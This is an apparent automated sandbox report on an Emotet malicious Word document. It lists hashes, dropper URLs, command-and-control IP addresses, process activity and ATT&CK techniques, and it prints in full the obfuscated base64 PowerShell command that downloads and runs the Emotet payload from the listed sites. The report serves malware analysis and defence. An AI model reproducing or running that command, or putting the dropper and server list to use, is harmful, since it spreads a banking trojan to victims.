emotet | c50a12add2e3c75f860f563d042901761cb7ec0a2f4fa64ddc37c1dbbef8bbca

Analysis

max time kernel
135s
max time network
140s
platform
windows10_x64
resource
win10v200722
submitted
21/08/2020, 11:22

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General

Target
emotet_e3_c50a12add2e3c75f860f563d042901761cb7ec0a2f4fa64ddc37c1dbbef8bbca_2020-08-21__112052._doc.doc
Size 177KB
Sample200821-mktcrqt5va
SHA256 c50a12add2e3c75f860f563d042901761cb7ec0a2f4fa64ddc37c1dbbef8bbca
MD5 048daa29123cc2a38f44e384adb5afd4
SHA1 6cb704d03c692159c5d0d7a0f117ccf7aa32c71f
SHA512 66ae7fe9eb6830b68f147517df14bc8231d1c6220a4c0c41e717f2dc0cf12591c7d6a9dfbe18b7896a6adbb3244c870a0d7f19fafea82cb7dcb3d5d7e660b5e0
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://hshub.org/images/trjTKqVztZvqg/
exe.dropper
http://ibda.adv.br/multifunctional_section/QiOJ/
exe.dropper
http://hottco.com/stats/grxbCpeVQfAc/
exe.dropper
https://laminingraphics.co.za/wp-admin/x2ldrf235972/
exe.dropper
http://kanchpurcity.com/open-resource/MWHLpS/
exe.dropper
https://mensterritory.online/temp/ghmmtbiwiuo747/
exe.dropper
http://prowaysitsolutions.com/wp-content/QJGdfKkAe/

Extracted

Family

emotet

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3944	496	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1924-17-0x0000000002160000-0x000000000216C000-memory.dmp	emotet
behavioral2/memory/1924-17-0x0000000002160000-0x000000000216C000-memory.dmp	emotet
behavioral2/memory/4048-20-0x0000000000570000-0x000000000057C000-memory.dmp	emotet
behavioral2/memory/4048-20-0x0000000000570000-0x000000000057C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	3944	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1924	Kv3kvg.exe
4048	CoreUIComponents.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ftp\CoreUIComponents.exe	Kv3kvg.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3608	WINWORD.EXE
3608	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3944	powersheLL.exe
3944	powersheLL.exe
3944	powersheLL.exe
4048	CoreUIComponents.exe
4048	CoreUIComponents.exe
4048	CoreUIComponents.exe
4048	CoreUIComponents.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3944	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3608	WINWORD.EXE
3608	WINWORD.EXE
3608	WINWORD.EXE
3608	WINWORD.EXE
3608	WINWORD.EXE
3608	WINWORD.EXE
3608	WINWORD.EXE
3608	WINWORD.EXE
3608	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3944 wrote to memory of 1924	3944	powersheLL.exe	75
PID 3944 wrote to memory of 1924	3944	powersheLL.exe	75
PID 3944 wrote to memory of 1924	3944	powersheLL.exe	75
PID 1924 wrote to memory of 4048	1924	Kv3kvg.exe	76
PID 1924 wrote to memory of 4048	1924	Kv3kvg.exe	76
PID 1924 wrote to memory of 4048	1924	Kv3kvg.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_c50a12add2e3c75f860f563d042901761cb7ec0a2f4fa64ddc37c1dbbef8bbca_2020-08-21__112052._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3608

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAGwAZwBlAHIAeQBpAD0AKAAnAEoAMQBwAGkAJwArACcAeABrADYAJwApADsALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBOAFYAOgB0AGUAbQBQAFwAbwBmAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAFIAaQB0AFkAYABwAFIATwB0AE8AYABDAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIALAAgAHQAbABzADEAMQAsACcAKwAnACAAJwArACcAdABsAHMAJwApADsAJABYAGsAbgA5AGgAagBiACAAPQAgACgAJwBLACcAKwAnAHYAJwArACcAMwBrAHYAZwAnACkAOwAkAEoAMgA3ADkAdABrADkAPQAoACcATwAnACsAJwBmACcAKwAnAGQAbwB3AHYAcwAnACkAOwAkAEYAdABjAGcAdwB0ADcAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAG8ATAAnACsAJwB5AE8AJwArACcAZgBmACcAKwAnAGkAYwBlADIAMAAxACcAKwAnADkAbwBMAHkAJwApAC4AIgByAEUAYABwAGwAQQBDAGUAIgAoACcAbwBMAHkAJwAsAFsAcwBUAHIAaQBOAGcAXQBbAEMASABhAFIAXQA5ADIAKQApACsAJABYAGsAbgA5AGgAagBiACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABPAGsAYQA1ADgAZQB4AD0AKAAnAFEAcABnACcAKwAnAHQAJwArACcAeAByADMAJwApADsAJABYAGEAdwAwADQAeQBuAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBCAEMAbABJAGUAbgB0ADsAJABXAHcANgA1ADQAeAA2AD0AKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgAvAC8AaABzACcAKwAnAGgAdQBiAC4AbwByACcAKwAnAGcAJwArACcALwBpAG0AJwArACcAYQBnAGUAcwAvAHQAcgAnACsAJwBqAFQASwBxACcAKwAnAFYAegB0AFoAdgBxACcAKwAnAGcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AaQBiAGQAJwArACcAYQAuACcAKwAnAGEAZAB2AC4AYgByAC8AbQB1AGwAdAAnACsAJwBpAGYAdQAnACsAJwBuAGMAdABpAG8AbgBhAGwAJwArACcAXwAnACsAJwBzAGUAYwB0AGkAbwBuAC8AUQBpAE8ASgAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwBoAG8AdAB0AGMAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AcwB0AGEAdABzAC8AZwByAHgAYgBDAHAAZQAnACsAJwBWACcAKwAnAFEAZgBBAGMAJwArACcALwAqAGgAdAB0AHAAcwA6AC8ALwBsAGEAJwArACcAbQBpAG4AaQBuAGcAcgBhACcAKwAnAHAAaABpAGMAcwAuACcAKwAnAGMAbwAnACsAJwAuAHoAYQAvAHcAcAAtAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAHgAMgBsAGQAcgBmADIAMwA1ADkAJwArACcANwAyAC8AKgBoAHQAdABwADoAJwArACcALwAvAGsAJwArACcAYQAnACsAJwBuAGMAaABwAHUAcgBjAGkAdAB5AC4AYwBvACcAKwAnAG0ALwBvAHAAZQAnACsAJwBuACcAKwAnAC0AcgBlAHMAbwB1AHIAYwBlAC8ATQBXAEgAJwArACcATABwAFMALwAqAGgAdAB0AHAAcwA6AC8ALwAnACsAJwBtACcAKwAnAGUAbgBzAHQAJwArACcAZQByAHIAaQB0AG8AJwArACcAcgB5ACcAKwAnAC4AJwArACcAbwBuAGwAaQBuAGUALwB0ACcAKwAnAGUAbQBwAC8AZwAnACsAJwBoAG0AJwArACcAbQB0ACcAKwAnAGIAaQB3ACcAKwAnAGkAdQBvADcANAA3AC8AKgBoAHQAJwArACcAdABwADoALwAvAHAAcgBvAHcAYQAnACsAJwB5AHMAaQB0AHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwB3AHAALQAnACsAJwBjAG8AJwArACcAbgAnACsAJwB0AGUAbgB0AC8AJwArACcAUQBKAEcAZABmACcAKwAnAEsAawBBAGUAJwArACcALwAnACkALgAiAHMAcABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBqADUAbwB2ADEAegA9ACgAJwBLACcAKwAnAG0ANgBkACcAKwAnAHQAOABpACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFUAaABvAGkAOQAyAHcAIABpAG4AIAAkAFcAdwA2ADUANAB4ADYAKQB7AHQAcgB5AHsAJABYAGEAdwAwADQAeQBuAC4AIgBkAE8AVwBgAE4ATABvAGAAQQBEAEYAYABpAEwARQAiACgAJABVAGgAbwBpADkAMgB3ACwAIAAkAEYAdABjAGcAdwB0ADcAKQA7ACQAWABiAGkAXwB2AG4AZgA9ACgAJwBDACcAKwAnAHQAJwArACcAbABkAGUAcAAyACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABGAHQAYwBnAHcAdAA3ACkALgAiAGwAYABFAE4AZwB0AGgAIgAgAC0AZwBlACAAMgAxADUAMgAzACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0AGUAbQAnACkAKAAkAEYAdABjAGcAdwB0ADcAKQA7ACQASwAxAG4AMgBlADAANQA9ACgAJwBHAG8AJwArACcAdgBqACcAKwAnAHUANQAxACcAKQA7AGIAcgBlAGEAawA7ACQATwB3AHcAagAzAGYAawA9ACgAJwBQAGwAYwBwAHcAeQAnACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQB6AGYAZwA3ADYANAA9ACgAJwBLAG8AbQBfAHUAJwArACcAXwB0ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Users\Admin\AppData\Local\Temp\Office2019\Kv3kvg.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Kv3kvg.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\SysWOW64\ftp\CoreUIComponents.exe
    "C:\Windows\SysWOW64\ftp\CoreUIComponents.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1924-17-0x0000000002160000-0x000000000216C000-memory.dmp

Download

memory/3608-5-0x00000186F748B000-0x00000186F748C000-memory.dmp

Download

memory/3608-4-0x00000186F748C000-0x00000186F7491000-memory.dmp

Download

memory/3608-7-0x00000186F762B000-0x00000186F7634000-memory.dmp

Download

memory/3608-8-0x00000186F762B000-0x00000186F7634000-memory.dmp

Download

memory/3608-9-0x00000186F761C000-0x00000186F762B000-memory.dmp

Download

memory/3608-10-0x00000186F762B000-0x00000186F7634000-memory.dmp

Download

memory/3608-1-0x00000186F748C000-0x00000186F7491000-memory.dmp

Download

memory/3608-2-0x00000186F748C000-0x00000186F7491000-memory.dmp

Download

memory/3608-3-0x00000186F748C000-0x00000186F7491000-memory.dmp

Download

memory/3608-0-0x00007FFB36050000-0x00007FFB36716000-memory.dmp

Download

memory/3608-6-0x00000186F761C000-0x00000186F762B000-memory.dmp

Download

memory/3944-13-0x0000026DC0770000-0x0000026DC0771000-memory.dmp

Download

memory/3944-12-0x0000026DC0480000-0x0000026DC0481000-memory.dmp

Download

memory/3944-11-0x00007FFB2E630000-0x00007FFB2F01C000-memory.dmp

Download

memory/4048-20-0x0000000000570000-0x000000000057C000-memory.dmp

Download